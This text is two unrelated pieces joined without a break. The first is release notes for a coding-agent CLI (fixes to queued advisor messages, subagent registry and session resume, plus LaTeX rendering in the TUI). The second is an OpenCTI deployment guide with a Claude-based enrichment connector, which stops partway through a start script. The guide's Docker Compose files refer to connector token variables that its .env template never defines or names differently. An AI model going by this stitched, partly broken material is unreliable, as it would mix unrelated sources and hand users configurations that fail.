• Fixed pressing Esc (or Alt+Up dequeue) while agent-authored messages were queued — advisor concern/blocker notes, hidden goal/plan/budget steers, IRC/extension asides — dumping their text into the user's editor. Editor restoration (clearQueue()), pending chips (getQueuedMessages()), and popLastQueuedMessage() now surface only genuinely user-authored queued messages (plain user turns and attribution: "user" custom messages like /skill). Plain Alt+Up dequeue leaves all other queued messages in place for the continuing stream; only the Esc interrupt path keeps just advisor cards (so abort's preservation still re-records them as visible advice) and drops other internal steers, so a user interrupt can't be silently undone by an auto-resume on leftover internal context. queuedMessageCount still reflects all actual queued work (advisor cards included) so hasPendingMessages()/RPC and the empty-submit abort gate stay accurate.
• Fixed advisor concern/blocker advice being withheld from the running agent and then dumped as one burst at the next user prompt after a deliberate interrupt. A user interrupt latches advisor auto-resume suppression, but a non-user resume (synthetic/auto-continue, or a queued steer draining after the abort) leaves the run streaming with that latch still set, so every interrupting note was parked hidden in the next-turn queue instead of steered into the live turn — the agent never heard the advisor mid-run and the backlog flushed all at once on the next prompt. Suppression now only withholds interrupting advice while the agent is idle (or still tearing the interrupted turn down); once a turn is streaming again the note is steered in live, since steering an active run never auto-resumes a stopped one. A concern that strands in the steer queue past the resumed turn's final poll is reclaimed as visible advice when the agent settles (mirroring abort), so it neither auto-resumes the stopped run nor lingers to flush at the next prompt.
• Fixed omp --continue/-c sometimes resuming into a subagent transcript instead of the interactive session. Subagent (and HTML-export) SessionManager.open() calls run in the parent's terminal and were clobbering the per-TTY --continue breadcrumb with their own artifact-dir session file; these headless opens now suppress the breadcrumb. continueRecent() also recovers already-poisoned breadcrumbs by resolving any session file inside a parent's artifacts dir (<parent>/<agentId>.jsonl) back up to the top-level session.
• Fixed the Agent Hub stacking duplicate Agent Hub · N running frames and stranding garbage rows in scrollback while navigating with subagents still streaming. The hub was a non-fullscreen overlay composited over a live transcript, so each time a running subagent's progress grew the frame and scrolled the window the previously-painted hub copy was pushed permanently into the terminal's native scrollback (which the engine can't rewrite). It now renders inline in the editor slot — the same anchored region every other selector and the ask tool use — riding the normal append-only commit path, so the transcript commits above it exactly once and the hub repaints in place instead of leaking copies. (Avoids borrowing the alternate screen.)
• Fixed every subagent registering itself as its own parent in the agent registry (parentId === id), so the Agent Hub rendered each agent as sub · of <itself> and the ←← parent-navigation gesture looped on the same agent. The SDK was reusing parentTaskPrefix — the agent's own artifact/output-id prefix — as the registry parent link; spawns now pass a separate parentAgentId (the spawning agent's id: Main for top-level task spawns, the parent subagent for nested spawns and eval agent(), the focused agent for /tan) and the registry records that as the parent.
• Fixed messaging a parked subagent that was restored from disk (Agent Hub scan, or a resumed/restarted session) failing with cannot be revived (no reviver registered) even though its transcript was intact. Such refs carry a session file but no in-memory reviver — the executor's live reviver closure dies with the spawning turn/process — so IRC sends and Agent Hub focus refused them. AgentLifecycleManager.ensureLive now cold-revives them through a persisted-subagent reviver factory (installed by the top-level interactive/RPC session) that rebuilds the subagent from its JSONL the way --resume rebuilds a session: it reopens the file and replays it through createAgentSession, but sources the runtime contract from a now-readable session_init record (SessionManager.peekSessionInit) so tools, system prompt, output schema, and kind are restored rather than resurrected as a default top-level session. session_init now also persists the effective spawns allowlist and read-summarization flag so a cold revive keeps the original capability surface (old files without them deny re-spawning rather than defaulting to wildcard). Isolated runs and pre-session_init files whose recorded workspace no longer exists stay transcript-only (history://).
• Fixed the terminal window-title OSC writes (setTerminalTitle/pushTerminalTitle/popTerminalTitle) leaking escape sequences to a developer's terminal during bun test; they now skip when the terminal is headless (the test-runtime default), matching the ProcessTerminal render/probe suppression so interactive-mode tests no longer paint to the real terminal
• Fixed empty CLI sessions being retained after opening omp and exiting without a prompt (#2800).
• Fixed hooks/pre/*.ts and hooks/post/*.ts files discovered through hookCapability being registered in discovery but never loaded into the extension runner, so their tool_call handlers now run without a manual settings.json extensions entry (#2796).
• Fixed startup model fallback choosing the plain OpenAI gpt-5.5 provider before the Codex OAuth provider when both shared the same default model id, which could surface a misleading OpenAI 401 despite valid Codex credentials (#2807).
• Fixed local auto-thinking classification for reasoning-capable tiny models by giving them the same safe answer budget as online reasoning classifiers, with a larger local floor for non-reasoning tiny models (#2808).

Removed

• Removed the built-in render_mermaid tool and its renderMermaid.enabled setting, so it can no longer be invoked directly

@oh-my-pi/collab-web

Removed

• Removed rendering support for the render_mermaid tool from the web tool registry

@oh-my-pi/pi-tui

Added

• Added \tfrac support to stacked display-math rendering so it now displays as a vertical fraction in latexToBlock output
• Added markdown parsing for own-line display-math blocks ($$...$$ and \[...\]) and delimiter-free \begin{...}...\end{...} math environments so block equations render via LaTeX-to-Unicode
• Added stacked rendering of display-math fractions (\frac, \dfrac, \cfrac): the numerator is drawn over a horizontal bar over the denominator, with surrounding terms and align/equation-style environment rows aligned to the bar. Triggered for own-line $$/\[ blocks, bare \begin{...} environments, and a paragraph whose sole content is a single display-math span; inline $...$ fractions stay single-line (½, (a+b)/c)
• Added bare math auto-rendering in renderMathInText for math-shaped lines and math environment blocks that omit $/\( delimiters
• Added LaTeX-to-Unicode rendering for markdown math spans, converting $$...$$, $...$, \(...\), and \[...\] into readable Unicode in Markdown output
• Exported LaTeX conversion helpers from the package entrypoint so consumers can call latexToUnicode, latexToBlock, renderMathInText, inlineMathSpanEnd, and isBareMathEnvironment directly
• Expanded LaTeX-to-Unicode conversion coverage for additional math fonts, delimiters, extensible arrows, layout environments, cancel/brace annotations, references, and AMS symbols
• Added ANSI color rendering for LaTeX \textcolor, scoped \color, \colorbox, and \fcolorbox, including xcolor/CSS color parsing and truecolor/256-color terminal output
• Added an optional maxWidth parameter to MarkdownTheme.resolveMermaidAscii to allow diagram resolvers to fit ASCII output to the available content width

Changed

• Changed markdown math rendering to preserve multiline layout for display equations, keeping \\ row breaks as separate output lines (including inside list items)

Fixed

• Fixed alignat/alignedat/gatheredat rendering in latexToBlock so the required {n} preamble is not rendered as visible math content
• Fixed math parsing to leave non-math LaTeX snippets (for example \begin{itemize}) and fenced code blocks as literal text instead of rendering them as math
• Fixed renderInlineMarkdown to handle top-level display-math tokens so raw $$...$$ delimiters are no longer leaked
• Fixed inline math span detection so escaped dollars and currency-like patterns (such as $5 and $10) are not converted as math
• Fixed Mermaid diagram rendering in Markdown code blocks to clip each ASCII line to content width before wrapping, preventing preformatted diagram rows from fragmenting
• Fixed fullscreen overlays losing keyboard focus to hidden prompt surfaces, which could make settings unresponsive while a background approval request was pending (#2789).
• Fixed bun test runs inside a real terminal leaking TUI output: ProcessTerminal now honors a headless test-runtime default, so frame paints, start() capability probes (OSC 11 / DA1 / kitty), the progress keepalive, notifications, and teardown escapes no longer reach the developer's terminal, and stdin raw mode is never engaged. Previously #safeWrite only skipped on !process.stdout.isTTY, so a developer running the suite in an interactive terminal saw stray status/editor boxes and probe queries. Terminal-contract suites opt back into real I/O via setTerminalHeadless(false)

@oh-my-pi/pi-utils

Added

• Added escapeXmlText utility to escape XML-significant characters &, <, and > in element body text
• Added isTerminalHeadless() / setTerminalHeadless() to centrally suppress real-terminal side effects (stdout escape/frame writes, stdin raw mode, CSI/OSC capability probes, SIGWINCH, window-title changes, emergency restore) under the test runtime. Defaults on when bun test sets NODE_ENV=test; terminal-contract tests opt out via setTerminalHeadless(false)

What's Changed

• fix(tui): keep overlay focus above hidden prompts by @roboomp in #2795
• fix(coding-agent): load discovered hook factories by @roboomp in #2798
• fix(cli): skip empty session persistence by @roboomp in #2804
• fix(coding-agent): prefer Codex default auth by @roboomp in #2810
• fix(coding-agent): expand local auto-thinking classifier budget by @roboomp in #2814

Full Changelog: v16.0.2...v16.0.3

Transforming Threat Data into High-Confidence Intelligence

In an era of relentless and complex cyber attacks, traditional, manual threat intelligence cannot keep pace. Security teams are overwhelmed by data fragmentation and the critical lack of context. “The Intelligent Shield” introduces a new paradigm: beyond simply ingesting data, it’s about deploying advanced, automated machine learning pipelines for AI-driven enrichment.

This guide demonstrates how to integrate state-of-the-art Large Language Models (LLMs), such as Claude AI, into an OpenCTI ecosystem. By leveraging the OpenCTI STIX 2.1 Knowledge Graph and natural language processing, this architecture converts disparate, unstructured data feeds into high-fidelity, actionable intelligence. It automatically builds context, executes deep mapping to frameworks like the MITRE ATT&CK Matrix, and generates calculated, real-time Confidence Scores, enabling organizations to proactively strengthen their defenses with an intuitive, automated Intelligent Shield.

Table of Contents

1. What is OpenCTI?
2. Core Capabilities
3. Architecture Overview
4. Threat Intelligence Feeds
5. AI Integration Layer
6. Prerequisites
7. Docker Compose Deployment
8. Connector Configuration
9. AI-Driven Enrichment Pipeline
10. Post-Deployment Hardening
11. Operational Runbook
12. Troubleshooting
13. Usage Examples

1. What is OpenCTI?

OpenCTI (Open Cyber Threat Intelligence) is an open-source platform developed by Filigran (formerly a project of ANSSI, the French national cybersecurity agency) for structuring, storing, organizing, visualizing, and sharing cyber threat intelligence (CTI).

It implements the STIX 2.1 (Structured Threat Information eXpression) standard as its native data model and exposes a GraphQL API for all read/write operations. Every object — threat actors, campaigns, malware, vulnerabilities, indicators, attack patterns — is stored as a STIX Domain Object (SDO) or STIX Relationship Object (SRO) backed by two databases:

• ElasticSearch / OpenSearch — full-text search and analytics
• Apache Cassandra (via JanusGraph) — graph relationship storage

Why OpenCTI?

2. Core Capabilities

2.1 Knowledge Graph

• Entities: Threat Actors, Intrusion Sets, Campaigns, Malware, Tools, Vulnerabilities (CVE), Attack Patterns (MITRE ATT&CK), Courses of Action, Sectors, Countries, Organizations
• Relationships modelled as first-class STIX SROs with confidence scores, date ranges, and TLP markings
• Diamond Model and Kill Chain views built in

2.2 Indicator Management

• IOC lifecycle: valid_from / valid_until with automatic expiry
• Detection rule generation (Sigma, YARA, Snort)
• Bulk import via STIX, CSV, OpenIOC, MISP formats
• Scoring and confidence weighting per source

2.3 MITRE ATT&CK Navigator Integration

• Full ATT&CK Enterprise / Mobile / ICS matrices
• Heatmaps of technique usage per threat actor or campaign
• Gap analysis against your current detection coverage

2.4 Threat Actor Profiling

• Attributed aliases, motivations (financial, espionage, hacktivism)
• Geo and sector targeting mapped on world map
• Timeline of campaigns and malware usage

2.5 Automation & Playbooks

• Built-in playbook engine (since v5.9): trigger enrichment, notifications, or SOAR actions on entity creation/modification(Enterprise Edition only)
• Python SDK for custom automation
• Webhook support for external integrations

2.6 Collaboration & Sharing

• Role-based access control (RBAC) with groups and organizations
• TLP (Traffic Light Protocol) enforcement at object level
• TAXII 2.1 server — push feeds to SIEMs, firewalls, EDR platforms
• Sharing with partner organizations via federated instances

2.7 Dashboard & Reporting

• Customizable dashboards with widget library
• PDF report generation
• Timeline, matrix, and entity views
• Attack path visualization

3. Architecture Overview

4. Threat Intelligence Feeds

4.1 Free / Open-Source Feeds

• MITRE ATT&CK — Connector: opencti/connector-mitre — Data: Techniques, mitigations, groups, software — Setup: API key not needed.
• CVE / NVD — Connector: opencti/connector-cve — Data: Vulnerabilities — Setup: NVD API key recommended/required depending on configuration.
• AlienVault OTX — Connector: opencti/connector-alienvault — Data: IOCs, pulses, malware families — Setup: Free OTX account/API key.
• Abuse.ch MalwareBazaar — Connector: opencti/connector-malwarebazaar — Data: Malware hashes, malware metadata, file observables — Setup: Free MalwareBazaar API key.
• Abuse.ch URLhaus — Connector: opencti/connector-urlhaus — Data: Malicious URLs — Setup: Public feed; no API key for CSV feed.
• Abuse.ch Feodo Tracker — Connector: use opencti/connector-misp-feed or ingest the Feodo CSV/blocklist feed manually — Data: Botnet C2 IPs — Setup: Free.
• Shodan InternetDB — Connector: opencti/connector-shodan-internetdb — Data: IP enrichment, domains, CPEs, CVEs, tags — Setup: No API key required.
• MISP Default / CIRCL OSINT Feeds — Connector: opencti/connector-misp-feed — Data: STIX/MISP bundles, indicators, observables — Setup: Free.
• CyberCrime-Tracker feed via MISP default feeds — Connector: use opencti/connector-misp-feed rather than a dedicated current connector — Data: C2 panels / freetext indicators — Setup: Free.
• OpenPhish — Connector: no verified current dedicated OpenCTI connector in the main repo; use generic feed ingestion where suitable — Data: Phishing URLs — Setup: Free/community feed options.
• DigitalSide IT-ISAC MISP Feed — Connector: opencti/connector-misp-feed with custom MISP_FEED_URL — Data: IOCs / MISP-format feed — Setup: Free.

4.2 Commercial Feeds (require license/API key)

• MISP — self-hosted — Connector: opencti/connector-misp — Strengths: community sharing, custom events, internal/private CTI exchange. The OpenCTI repo lists both misp and misp-feed; use misp for a live MISP instance with API access, and misp-feed for static MISP feed URLs.
• VirusTotal / Google Threat Intelligence — Connector: opencti/connector-virustotal — Strengths: file, URL, domain, and IP enrichment. The connector is under internal-enrichment, not external-import.
• Mandiant Threat Intelligence / Google Threat Intelligence — Connector: opencti/connector-mandiant — Strengths: APT intelligence, actor reporting, malware/campaign context.
• Recorded Future — Connectors: opencti/connector-recordedfuture and opencti/connector-recordedfuture-enrichment — Strengths: risk lists, enrichment, vulnerability/contextual intelligence, dark web and external threat data. Recorded Future documentation describes the OpenCTI integration as two components: an enrichment connector and a Recorded Future connector.
• CrowdStrike Falcon Intelligence — Connector: opencti/connector-crowdstrike — Strengths: actor tracking, indicators, adversary intelligence, Falcon ecosystem context.
• Sekoia.io Intelligence — Connector: opencti/connector-sekoia — Strengths: European threat landscape, CTI feed ingestion, actor/campaign context. Sekoia’s own documentation points to the OpenCTI GitHub connector path.
• ThreatConnect — Connector: no verified current dedicated connector in the main OpenCTI connector tree — Strengths: enterprise TI management, source aggregation, workflow and case management. I found an OpenCTI GitHub label/feature reference for “threat connect,” but not a confirmed current connector folder equivalent to external-import/threatconnect.
• Intel 471 — Connectors: opencti/connector-intel471, opencti/connector-intel471-darknet, and opencti/connector-intel471_v2 — Strengths: underground forums, cybercrime actors, malware, infrastructure, dark web intelligence.

4.3 ISAC / Government Feeds

• CISA Automated Indicator Sharing / AIS — Method: TAXII/STIX client, AIS 2.0 uses TAXII 2.1 — Access: free service for eligible participants; contact CISA to onboard.
• FS-ISAC — Method: STIX/TAXII and MISP automated feeds — Access: financial-sector membership; automated-feed credentials/licensing must be explicitly requested.
• Health-ISAC / H-ISAC — Method: HITS indicator-sharing feed; STIX/TAXII-compatible threat intelligence sharing — Access: healthcare-sector membership / Health-ISAC member access.
• NATO MISP Community — Method: MISP community / MISP sync — Access: official government cyber-defense entities from NATO nations, sponsored by their national representative in the NATO Multinational MISP Steering Board.
• ENISA Threat Landscape — Method: public reports and CTI publications; not a confirmed public TAXII/STIX feed. ENISA’s CTL methodology references STIX 2.1 as a common CTI representation format, but this is different from offering a public feed endpoint.

4.4 Feed Priority and TLP Assignment

# Recommended TLP assignment by source
feeds:
  - source: mitre_attack
    tlp: WHITE          # public, shareable
    confidence: 90
  - source: alienvault_otx
    tlp: GREEN          # community sharing
    confidence: 60
  - source: mandiant
    tlp: AMBER          # restricted to org
    confidence: 85
  - source: internal_soc
    tlp: RED            # internal only
    confidence: 95

5. AI Integration Layer

This is the “AI-driven” layer on top of standard OpenCTI — a custom connector and MCP server that adds:

5.1 AI Enrichment Connector (Claude API)

• On every new Report, Malware, or Threat-Actor ingested → call Claude API
• Extract structured STIX entities from unstructured text (PDFs, blog posts)
• Summarize long reports into 3-sentence executive briefs
• Score indicator relevance against your organization’s sector profile
• Suggest ATT&CK technique mappings from narrative descriptions

5.2 AI Pipeline Architecture

New Report ingested
        │
        ▼
[AI Enrichment Connector]
        │
        ├─► Claude API: Extract entities → creates STIX SDOs
        ├─► Claude API: Map to ATT&CK techniques
        ├─► Claude API: Generate executive summary
        └─► Claude API: Score severity for your sector
                │
                ▼
        Update Report in OpenCTI
        (summary, related entities, confidence scores)

6. Prerequisites

6.1 Hardware (minimum production)

6.2 Software

# Install Docker Engine (Ubuntu 22.04)
sudo apt-get update
sudo apt-get install -y ca-certificates curl gnupg lsb-release
sudo install -m 0755 -d /etc/apt/keyrings
curl -fsSL https://download.docker.com/linux/ubuntu/gpg | \
  sudo gpg --dearmor -o /etc/apt/keyrings/docker.gpg
sudo chmod a+r /etc/apt/keyrings/docker.gpg
echo "deb [arch=$(dpkg --print-architecture) signed-by=/etc/apt/keyrings/docker.gpg] \
  https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable" | \
  sudo tee /etc/apt/sources.list.d/docker.list > /dev/null
sudo apt-get update
sudo apt-get install -y docker-ce docker-ce-cli containerd.io docker-compose-plugin
# Add user to docker group
sudo usermod -aG docker $USER
newgrp docker
# Verify
docker compose version

6.3 System Tuning (required for ElasticSearch)

# ElasticSearch requires high vm.max_map_count
sudo sysctl -w vm.max_map_count=1048575
echo "vm.max_map_count=1048575" | sudo tee -a /etc/sysctl.conf

# Increase file descriptor limits
echo "* soft nofile 65536" | sudo tee -a /etc/security/limits.conf
echo "* hard nofile 65536" | sudo tee -a /etc/security/limits.conf

7. Docker Compose Deployment

7.0 Deploy from GitHub (recommended)

The fastest deployment path is to clone the maintained project repository and create a local `.env` from the sanitized template:

cd /home/andrey
git clone https://github.com/anpa1200/opencti-intelligent-shield.git openCTI
cd /home/andrey/openCTI
# Create local secrets/config. This file is ignored by Git.
cp .env.example .env
nano .env
# Start the full stack after filling in .env
./scripts/start-all.sh

This gives you the Docker Compose files, OpenCTI patches, AI enrichment connector, helper scripts, and Docusaurus documentation in one checkout. Use the manual sections below if you want to recreate the files by hand or compare the generated content.

7.1 Directory Structure

/home/andrey/openCTI/
├── .env                          # secrets and config
├── docker-compose.yml            # core stack
├── docker-compose.connectors.yml # feed connectors
├── docker-compose.ai.yml         # AI enrichment connector
├── patches/
│   └── back.js                   # ILM race condition fix (ES 8.13 + OpenCTI 6.2.0)
└── connectors/
    └── ai-enrichment/            # custom AI connector source

7.2 Environment File

cat > /home/andrey/openCTI/.env << 'EOF'
# === Core ===
OPENCTI_ADMIN_EMAIL=admin@opencti.local
OPENCTI_ADMIN_PASSWORD=CHANGE_ME_STRONG_PASSWORD
OPENCTI_ADMIN_TOKEN=CHANGE_ME_UUID4_TOKEN
OPENCTI_BASE_URL=http://localhost:8080

# === Secrets ===
APP__ADMIN__TOKEN=CHANGE_ME_UUID4_TOKEN
APP__SECRET_KEY=CHANGE_ME_SECRET

# === ElasticSearch ===
# NOTE: key is ELASTIC_PASSWORD, not ELASTIC_AUTH
ELASTIC_PASSWORD=CHANGE_ME_ELASTIC_PASS

# === Redis ===
REDIS_PASSWORD=opencti

# === MinIO ===
MINIO_ROOT_USER=opencti
MINIO_ROOT_PASSWORD=CHANGE_ME_MINIO_PASS

# === RabbitMQ ===
RABBITMQ_DEFAULT_USER=opencti
RABBITMQ_DEFAULT_PASS=CHANGE_ME_RABBITMQ_PASS

# === Connector IDs (unique UUID4 per connector — NOT used for auth) ===
CONNECTOR_MITRE_TOKEN=CHANGE_ME_UUID4
CONNECTOR_CVE_TOKEN=CHANGE_ME_UUID4
CONNECTOR_ALIENVAULT_TOKEN=CHANGE_ME_UUID4
CONNECTOR_ABUSE_SSL_TOKEN=CHANGE_ME_UUID4
CONNECTOR_URLHAUS_TOKEN=CHANGE_ME_UUID4
CONNECTOR_AI_ENRICHMENT_TOKEN=CHANGE_ME_UUID4

# === External API keys ===
ALIENVAULT_API_KEY=your_otx_key_here
NVD_API_KEY=your_nvd_api_key_here     # UUID format from nvd.nist.gov/developers/request-an-api-key
ANTHROPIC_API_KEY=your_claude_api_key_here
EOF

# Generate unique UUIDs for connector IDs
python3 -c "import uuid; [print(uuid.uuid4()) for _ in range(8)]"# Generate proper tokens
python3 -c "import uuid; [print(f'Token: {uuid.uuid4()}') for _ in range(10)]"

7.3 Core Stack — docker-compose.yml

nano docker-compose.yml

version: "3"
services:
  redis:
    image: redis:7.2
    restart: always
    volumes:
      - redisdata:/data
    command: redis-server --requirepass ${REDIS_PASSWORD:-opencti}
  elasticsearch:
    image: docker.elastic.co/elasticsearch/elasticsearch:8.13.0
    volumes:
      - esdata:/usr/share/elasticsearch/data
    environment:
      - discovery.type=single-node
      - xpack.ml.enabled=false
      - xpack.security.enabled=true
      - ELASTIC_PASSWORD=${ELASTIC_PASSWORD:-CHANGE_ME}
      - "ES_JAVA_OPTS=-Xms2g -Xmx2g"
      - cluster.routing.allocation.disk.threshold_enabled=false
    ulimits:
      memlock:
        soft: -1
        hard: -1
    restart: always
  minio:
    image: minio/minio:RELEASE.2024-01-16T16-07-38Z
    volumes:
      - miniodata:/data
    ports:
      - "9001:9001"   # console
    environment:
      MINIO_ROOT_USER: ${MINIO_ROOT_USER:-opencti}
      MINIO_ROOT_PASSWORD: ${MINIO_ROOT_PASSWORD:-CHANGE_ME}
    command: server /data --console-address ":9001"
    restart: always
  rabbitmq:
    image: rabbitmq:3.13-management
    environment:
      RABBITMQ_DEFAULT_USER: ${RABBITMQ_DEFAULT_USER:-opencti}
      RABBITMQ_DEFAULT_PASS: ${RABBITMQ_DEFAULT_PASS:-CHANGE_ME}
      RABBITMQ_NODENAME: rabbit01@localhost
    volumes:
      - rabbitmqdata:/var/lib/rabbitmq
    restart: always
  opencti:
    image: opencti/platform:6.2.0
    environment:
      NODE_OPTIONS: --max-old-space-size=8096
      APP__PORT: 8080
      APP__BASE_URL: ${OPENCTI_BASE_URL:-http://localhost:8080}
      APP__ADMIN__EMAIL: ${OPENCTI_ADMIN_EMAIL}
      APP__ADMIN__PASSWORD: ${OPENCTI_ADMIN_PASSWORD}
      APP__ADMIN__TOKEN: ${OPENCTI_ADMIN_TOKEN}
      APP__APP_LOGS__LOGS_LEVEL: error
      REDIS__HOSTNAME: redis
      REDIS__PORT: 6379
      REDIS__USE_SSL: "false"
      REDIS__PASSWORD: ${REDIS_PASSWORD:-opencti}
      ELASTICSEARCH__URL: http://elasticsearch:9200
      ELASTICSEARCH__USERNAME: elastic
      ELASTICSEARCH__PASSWORD: ${ELASTIC_PASSWORD:-CHANGE_ME}
      MINIO__ENDPOINT: minio
      MINIO__PORT: 9000
      MINIO__USE_SSL: "false"
      MINIO__ACCESS_KEY: ${MINIO_ROOT_USER:-opencti}
      MINIO__SECRET_KEY: ${MINIO_ROOT_PASSWORD:-CHANGE_ME}
      RABBITMQ__HOSTNAME: rabbitmq
      RABBITMQ__PORT: 5672
      RABBITMQ__USERNAME: ${RABBITMQ_DEFAULT_USER:-opencti}
      RABBITMQ__PASSWORD: ${RABBITMQ_DEFAULT_PASS:-CHANGE_ME}
      SMTP__HOSTNAME: localhost
      PROVIDERS__LOCAL__STRATEGY: LocalStrategy
    volumes:
      - ./patches/back.js:/opt/opencti/build/back.js:ro
    ports:
      - "8080:8080"
    depends_on:
      - redis
      - elasticsearch
      - minio
      - rabbitmq
    restart: always
  worker:
    image: opencti/worker:6.2.0
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      WORKER_LOG_LEVEL: error
    depends_on:
      - opencti
    deploy:
      mode: replicated
      replicas: 3
    restart: always
volumes:
  esdata:
  redisdata:
  miniodata:
  rabbitmqdata:
networks:
  default:
    name: opencti_network
    external: true

7.4 Connectors — docker-compose.connectors.yml

nano docker-compose.connectors.yml

version: "3"
services:
  # MITRE ATT&CK (no API key needed)
  connector-mitre:
    image: opencti/connector-mitre:6.2.0
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      CONNECTOR_ID: ${CONNECTOR_MITRE_TOKEN}
      CONNECTOR_NAME: "MITRE ATT&CK"
      CONNECTOR_SCOPE: "marking-definition,identity,attack-pattern,course-of-action,intrusion-set,campaign,malware,tool,vulnerability,x-mitre-matrix,x-mitre-tactic,x-mitre-collection"
      CONNECTOR_CONFIDENCE_LEVEL: 75
      CONNECTOR_UPDATE_EXISTING_DATA: "true"
      CONNECTOR_LOG_LEVEL: error
      MITRE_REMOVE_STATEMENT_MARKING: "true"
      MITRE_INTERVAL: 7  # days between full refresh
    restart: always
  # CVE / NVD Vulnerabilities
  connector-cve:
    image: opencti/connector-cve:6.2.0
    volumes:
      - ./patches/cve/api.py:/opt/opencti-connector-cve/services/client/api.py:ro
      - ./patches/cve/vulnerability.py:/opt/opencti-connector-cve/services/client/vulnerability.py:ro
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      CONNECTOR_ID: ${CONNECTOR_CVE_TOKEN}
      CONNECTOR_NAME: "Common Vulnerabilities and Exposures"
      CONNECTOR_SCOPE: "identity,vulnerability"
      CONNECTOR_CONFIDENCE_LEVEL: 75
      CONNECTOR_LOG_LEVEL: info
      CONNECTOR_UPDATE_EXISTING_DATA: "true"
      CVE_BASE_URL: "https://services.nvd.nist.gov/rest/json/cves"
      CVE_API_KEY: ${NVD_API_KEY}
      CVE_MAX_DATE_RANGE: 120
      CVE_MAINTAIN_DATA: "true"
      CVE_INTERVAL: 2
    restart: always
  # AlienVault OTX
  connector-alienvault:
    image: opencti/connector-alienvault:6.2.0
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      CONNECTOR_ID: ${CONNECTOR_ALIENVAULT_TOKEN}
      CONNECTOR_NAME: "AlienVault OTX"
      CONNECTOR_SCOPE: "stix-core-object"
      CONNECTOR_CONFIDENCE_LEVEL: 40
      CONNECTOR_LOG_LEVEL: error
      ALIENVAULT_BASE_URL: "https://otx.alienvault.com"
      ALIENVAULT_API_KEY: ${ALIENVAULT_API_KEY}
      ALIENVAULT_TLP: "White"
      ALIENVAULT_CREATE_OBSERVABLES: "true"
      ALIENVAULT_CREATE_INDICATORS: "true"
      ALIENVAULT_PULSE_START_TIMESTAMP: "2020-01-01T00:00:00"
      ALIENVAULT_REPORT_STATUS: "New"
      ALIENVAULT_REPORT_TYPE: "threat-report"
      ALIENVAULT_GUESS_MALWARE: "false"
      ALIENVAULT_GUESS_CVE: "false"
      ALIENVAULT_INTERVAL: 30   # minutes
    restart: always
  # Abuse.ch SSL Blacklist
  connector-abuse-ssl:
    image: opencti/connector-abuse-ssl:6.2.0
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      CONNECTOR_ID: ${CONNECTOR_MALWAREBAZAAR_TOKEN}
      CONNECTOR_NAME: "Abuse.ch SSL Blacklist"
      CONNECTOR_SCOPE: "stix-core-object"
      CONNECTOR_CONFIDENCE_LEVEL: 50
      CONNECTOR_LOG_LEVEL: error
      ABUSE_SSL_URL: "https://sslbl.abuse.ch/blacklist/sslblacklist.csv"
      ABUSE_SSL_INTERVAL: 30  # minutes
    restart: always
  # Abuse.ch URLhaus
  connector-urlhaus:
    image: opencti/connector-urlhaus:6.2.0
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      CONNECTOR_ID: ${CONNECTOR_URLHAUS_TOKEN}
      CONNECTOR_NAME: "Abuse.ch URLhaus"
      CONNECTOR_SCOPE: "stix-core-object"
      CONNECTOR_CONFIDENCE_LEVEL: 40
      CONNECTOR_LOG_LEVEL: error
      URLHAUS_CSV_URL: "https://urlhaus.abuse.ch/downloads/csv_recent/"
      URLHAUS_IMPORT_OFFLINE: "true"
      URLHAUS_INTERVAL: 2  # hours
    restart: always
  connector-threatfox:
    image: opencti/connector-threatfox:6.2.0
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      CONNECTOR_ID: ${CONNECTOR_THREATFOX_TOKEN}
      CONNECTOR_NAME: "ThreatFox"
      CONNECTOR_SCOPE: "stix-core-object"
      CONNECTOR_CONFIDENCE_LEVEL: 40
      CONNECTOR_LOG_LEVEL: error
      THREATFOX_API_URL: "https://threatfox-api.abuse.ch/api/v1/"
      THREATFOX_CREATE_INDICATORS: "true"
      THREATFOX_CREATE_OBSERVABLES: "true"
      THREATFOX_INTERVAL: 3
    restart: always
  connector-import-document:
    image: opencti/connector-import-document:6.2.0
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      CONNECTOR_ID: ${CONNECTOR_IMPORT_DOCUMENT_TOKEN}
      CONNECTOR_NAME: "ImportDocument"
      CONNECTOR_SCOPE: "application/pdf,text/plain,text/html"
      CONNECTOR_AUTO: "true"
      CONNECTOR_CONFIDENCE_LEVEL: 75
      CONNECTOR_LOG_LEVEL: error
    restart: always
networks:
  default:
    name: opencti_network
    external: true

7.5 AI Enrichment Connector — docker-compose.ai.yml

nano docker-compose.ai.yml

version: "3"

services:
  connector-ai-enrichment:
    build:
      context: ./connectors/ai-enrichment
      dockerfile: Dockerfile
    environment:
      OPENCTI_URL: http://opencti:8080
      OPENCTI_TOKEN: ${OPENCTI_ADMIN_TOKEN}
      CONNECTOR_ID: ${CONNECTOR_AI_ENRICHMENT_TOKEN}
      CONNECTOR_NAME: "AI Enrichment (Claude)"
      CONNECTOR_LOG_LEVEL: info
      ANTHROPIC_API_KEY: ${ANTHROPIC_API_KEY}
      AI_MODEL: claude-opus-4-7
      AI_ENRICHMENT_REPORTS: "true"
      AI_ENRICHMENT_MALWARE: "true"
      AI_ENRICHMENT_THREAT_ACTORS: "true"
    restart: always

networks:
  default:
    name: opencti_network
    external: true

8. Connector Configuration

Fast Start / Stop Scripts

The repository includes two helper scripts for daily operations:

# Start core OpenCTI, wait for the UI/API, then start connectors and AI enrichment
./scripts/start-all.sh
# Stop AI enrichment, connectors, and core OpenCTI while preserving Docker volumes
./scripts/stop-all.sh

Use these scripts for normal start/stop operations after .env is configured. Use the manual commands below when debugging a specific service startup problem.

nano start-all.sh

#!/usr/bin/env bash
set -euo pipefail

ROOT_DIR="$(cd "$(dirname "${BASH_SOURCE[0]}")/.." && pwd)"
cd "$ROOT_DIR"

WAIT_TIMEOUT="${WAIT_TIMEOUT:-300}"

